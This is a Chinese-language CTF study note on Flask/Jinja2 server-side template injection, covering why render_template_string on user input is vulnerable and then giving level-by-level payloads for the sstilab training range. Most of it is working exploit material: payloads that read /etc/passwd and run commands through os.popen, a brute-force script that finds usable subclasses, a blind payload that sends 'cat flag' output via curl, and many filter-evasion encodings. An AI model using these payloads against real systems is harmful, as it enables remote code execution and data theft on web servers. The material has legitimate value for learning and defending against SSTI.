写过很多的SSTI的题,但是一直没有总结过,最近也算是忙,这次,是稍微写写关于SSTI的东西,以后复习了可以好看看,也不至于每次都拿别人的payload
关于flask的SSTI注入,我们在了解他的注入原理之前,我们先看看flask框架是怎么使用的。
route装饰器路由
@app.route('/')
使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。
例如
from flask import flask
app = Flask(__name__)
@app.route('/')
def test()"
return 123
@app.route('/index/')
def hello_word():
return 'hello word'
if __name__ == '__main__':
app.run(port=5000)
访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word
在用@app.route('/')
的时候,在之前需要定义app = Flask(__name__)
不然会报错
还可设置动态网址
@app.route("/<username>")
def hello_user(username):
return "user:%s"%username
flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里
render_template() 是用来渲染一个指定的文件的。
render_template_string则是用来渲染一个字符串的。
这个时候我们就需要了解一下flask的目录结构了
├── app.py
├── static
│ └── style.css
└── templates
└── index.html
其中,static和templates都是需要自己新建的。其中templates目录里的index.html就是所谓的模板
我们写一个index.html
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{name}}!</h1>
</body>
</html>
这里面需要我们传入两个值,一个是title另一个是name。
我们在server.py里面进行渲染传值
from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':
app.run(port=5000)
在这里,我们手动传值的,所以是安全的
但是如果,我们传值的机会给用户
假如我们渲染的是一句话
from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
id = request.args.get('id')
html = '''
<h1>%s</h1>
'''%(id)
return render_template_string(html)
if __name__ == '__main__':
app.run(port=5000)
如果我们传入一个xss就会达到我们需要的效果
这就是传入的值被html直接运行回显,我们对代码进行微改。
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
再次传入xss就不能实现了
因为在传入相应的值得时候,会对值进行转义,这样就很能好多而避免了xss这些
所以SSTI注入形成的原因就是:开发人员因为懒惰,没有将渲染模板写成一个文件,而是直接用render_template_string来渲染,当然,如果有传值过程还行,但是如果没有传值过程,传入数据不经过转义,那可能就会导致SSTI注入。
那么漏洞原理就是因为不够严谨的构造代码导致的。
在写题前,先了解python的一些ssti的魔术方法。
__class__
用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型,返回<type ‘type’> ; 也是类的实例的属性,表示实例对象的类。
__bases__
用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!!
使用语法:类名.bases
__mro__
也能获取基类
__subclasses__()
获取当前类的所有子类,即Object的子类
而我们注入就是通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
__init__
重载子类,获取子类初始化的属性。
__globals__
函数会以字典的形式返回当前位置的全部全局变量
就比如:os._wrap_close.__init__.__globals__
,可以获取到os中的一些函数,进行文件读取。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
// os.popen() 方法用于从一个命令打开一个管道。返回一个文件描述符号为fd的打开的文件对象。
利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
os
.__init__.__globals__['popen']('type flag').read()
当然,这些子类都不是那么容易找到的,这里贴一个脚本
上文的59就是子类WarningMessage的用它替换下面的_wrap_close即可
for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass
还有jinjia语法下的小脚本。
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}{% endif %}{% endfor %}
//查看flag
{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
{% endif %}{% endfor %}
关于Flask SSTI 的实战题,其实有很多,但是大多都比较碎,知识点都不怎么集中,虽然可以学习到一些知识,但是并非系统的学习。但是我在一次偶然,发现了sstilab的靶场,是比较系统的可以学习到关于如何绕过过滤的一些知识。并且,新手小白,一般拿到题,都会有些迷茫,这里则会提供多种不同的解决思路。
下面放入每一关过滤的东西,以后要是写题遇到类似的,可以直接对比关卡,拿payload
法一
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}
法二
师傅直接手搓脚本
import requests
url = "http://127.0.0.1:5000/level/1"
for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass
找到我们使用的需要的子类,构造payload
"".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
过滤了{{}},可以使用{%%}代替,
但是{%%}
,没有输出,所以需要我们print
{%print("".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read())%}
法二
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{%print( c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()"))%}{% endif %}{% endfor %}
脚本微改:
data = {"code": '{%print("".__class__.__base__.__subclasses__()['+ str(i) +'])%}'}
无过滤,但是有回显
语句正确回显correct,语句不正确回显wrong
import requests
url = "http://192.168.0.108:5001/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://127.0.0.1:5001/`cat flag`").read()}}'}
response = requests.post(url,data=data)
except :
pass
windows环境反引号没有用,所以本地抓取不到信息
过滤了中括号
getitem() 是python的一个魔法方法,当对列表使用时,传入整数返回列表对应索引的值;对字典使用时,传入字符串,返回字典相应键所对应的值.
{{"".__class__.__base__.__subclasses__()[139].__init__.__globals__.__getitem__('popen')('type flag').read()}}
过滤了了引号和双引号
request.args
在搭建flask时,大多数程序内部都会使用 flask的request来解析get请求.此出我们就可以通过构造带参数的url,配合 request.args 获取构造参数的内容来绕过限制
POST:
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}
GET:
a=popen&b=type flag
过滤了_
用过滤器绕过| attr()
关于过滤器;
- 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
- 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.
经常使用的的过滤器:
length() # 获取一个序列或者字典的长度并将其返回
int():# 将值转换为int类型;
float():# 将值转换为float类型;
lower():# 将字符串转换为小写;
upper():# 将字符串转换为大写;
reverse():# 反转字符串;
replace(value,old,new): # 将value中的old替换为new
list():# 将变量转换为列表类型;
string():# 将变量转换成字符串类型;
join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性
_
的十六进制编码为\x5f
所以__class__
可以写成\x5f\x5fclass\x5f\x5f
因为我们需要用十六进制编码_
,而编码过后的_
不能和.
直接相连,这个时候就需要过滤器和_
连接了,所以foo|attr("bar")=foo.bar
十六进制编码和Unicode编码都可以,以及base64编码和rot13等编码去绕过。
payload:
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
# 编码后
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('type flag')|attr("read")()}}
# base64 未绕过成功
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('dHlwZSBmbGFn'.decode('base64'))|attr("read")()}}
这里面展示一个unioncode编码 未绕过成功
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(139)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("dir")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(139)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("dir")|attr("read")()}}
过滤了.
,可以使用[]
绕过。
python语法除了可以使用点 .来访问对象属性外,还可以使用中括号[].同样也可以使用**getitem**
``{{()['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('cat flag')['read']()}}
过滤了关键字
关键字过滤,最简单的办法就是字符串拼接,比如'class'
可以写成'cla''ss'
其他方法
1编码
2在jinjia2语法中~可以进行连接,比如:{%set a="__cla"%}{%set aa="ss__%}{{a~aa}}
3使用join过滤器.例如使用{%set a=dict(__cla=a,ss__=a)|join%}{{a}}
会将__cla和ss__
拼接在一起,或者{%set a=['__cla','ss__']|join%}{{a}}
4使用reverse
过滤器.如{%set a="__ssalc__"|reverse%}{{a}}
5使用replace
过滤器.如{%set a="__claee__"|replace("ee","ss")%}{{a}}
6使用python中的char()
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
过滤数字
__subclasses__()[139]
,我们要塑造139这个数字
使用过滤器|length
,来塑造。
{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{a}}
// 12*11+7=139
{% set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{"".__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('type flag').read()}}
过滤了全局变量
没有了全局变量
{{config}}/{{self}}
均被ban掉,所以得重新寻找一个储存相关信息的变量
发现存在这么一个变量current_app是我们需要的,官网对current_app
提供了这么一句说明
应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置。
payload:
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
拿到{{config}}
过滤了'\'', '"', '+', 'request', '.', '[', ']'
过滤的[]
可以通过__getitem__
绕过,.
可以通过attr
绕过,' "
可以通过request构造参数代替,但是request被ban了
所以关键就是如何构造' "
在Level 9 bypass keyword 的扩展中,使用过滤器dict()|join构造关键子的过程中没有出现' ",可以使用这种办法绕过.
{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}
但是,这里的弊端就是构造命令 cat flag
的时候,空格无法识别,所以要如何绕过空格呢?
师傅的思路是这样的:
通过以下构造可以得到字符串,举个例,可以发现输出的字符串中存在空格、部分数字、<以及部分字母.利用过滤器list将其变为列表类型再配合使用索引,就能得到我们想要的.
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
本地演示一下
当使用urlencode的时候还会出现%
,当其被过滤的时候可以使用。
构造payload
原型payload:
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
构造:
{%set a=dict(__cla=a,ss__=b)|join %}# __class__
{%set b=dict(__bas=a,e__=b)|join %}# __base__
{%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__
{%set d=dict(__ge=a,titem__=a)|join%}# __getitem__
{%set e=dict(__in=a,it__=b)|join %}# __init__
{%set f=dict(__glo=a,bals__=b)|join %}# __globals__
{%set g=dict(pop=a,en=b)|join %}# popen
{%set h=self|string|attr(d)(18)%}# 空格
{%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag
{%set j=dict(read=a)|join%}# read
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接
和上一关的区别就是,没有过滤request
,但是过滤了数字。可以通过request.args
传参绕过。
不过
request|attr("args")|attr("a")
并不能获取到通过get传递过来的a参数,所以这里得跟换为request.args.get()
来获取get参数
但是一个个构造太长了
所以从羽师傅那里找到一条简短的构造链
{{x.__init__.__globals__['__builtins__']}}
构造payload
get:
?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read()
post:
{%set a={}|select|string|list%}
{%set b=dict(pop=a)|join%}
{%set c=a|attr(b)(self|string|length)%}
{%set d=(c,c,dict(getitem=a)|join,c,c)|join%}
{%set e=dict(args=a)|join%}
{%set f=dict(get=a)|join%}
{%set g=dict(z=a)|join%}
{%set gg=dict(zz=a)|join%}
{%set ggg=dict(zzz=a)|join%}
{%set gggg=dict(zzzz=a)|join%}
{%set ggggg=dict(zzzzz=a)|join%}
{{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}
比上面过滤的更多关键字,但是我们依然可以使用上一关的思路
payload
{%set a={}|select|string|list%}
{%set ax={}|select|string|list%}
{%set aa=dict(ssss=a)|join%}
{%set aaa=dict(ssssss=a)|join%}
{%set aaaa=dict(ss=a)|join%}
{%set aaaaa=dict(sssss=a)|join%}
{%set b=dict(pop=a)|join%} # pop
{%set c=a|attr(b)(aa|length*aaa|length)%} # _
{%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格
{%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__
{%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__
{%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__
{%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__
{%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__
{%set ee=(dict(o=a,s=a)|join)|join%} # os
{%set eee=(dict(po=a,pen=a)|join)|join%} # popen
{%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%} # type flag
{%set f=(dict(rea=a,d=a)|join)|join%} # read
{{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}
这次总算是把flask框架的SSTI注入给弄的差不多了,以后遇见了也不会手忙脚乱了。继续加油吧!!!
https://xz.aliyun.com/t/10394#toc-7
https://www.yuque.com/docs/share/d300c853-152b-4d65-9161-a5645f1dd77c?#Level-1
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3
https://blog.csdn.net/qq_45521281/article/details/106243544
https://blog.csdn.net/qq_45521281/article/details/106252560
http://www.javashuo.com/article/p-psmjcwyp-dg.html
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3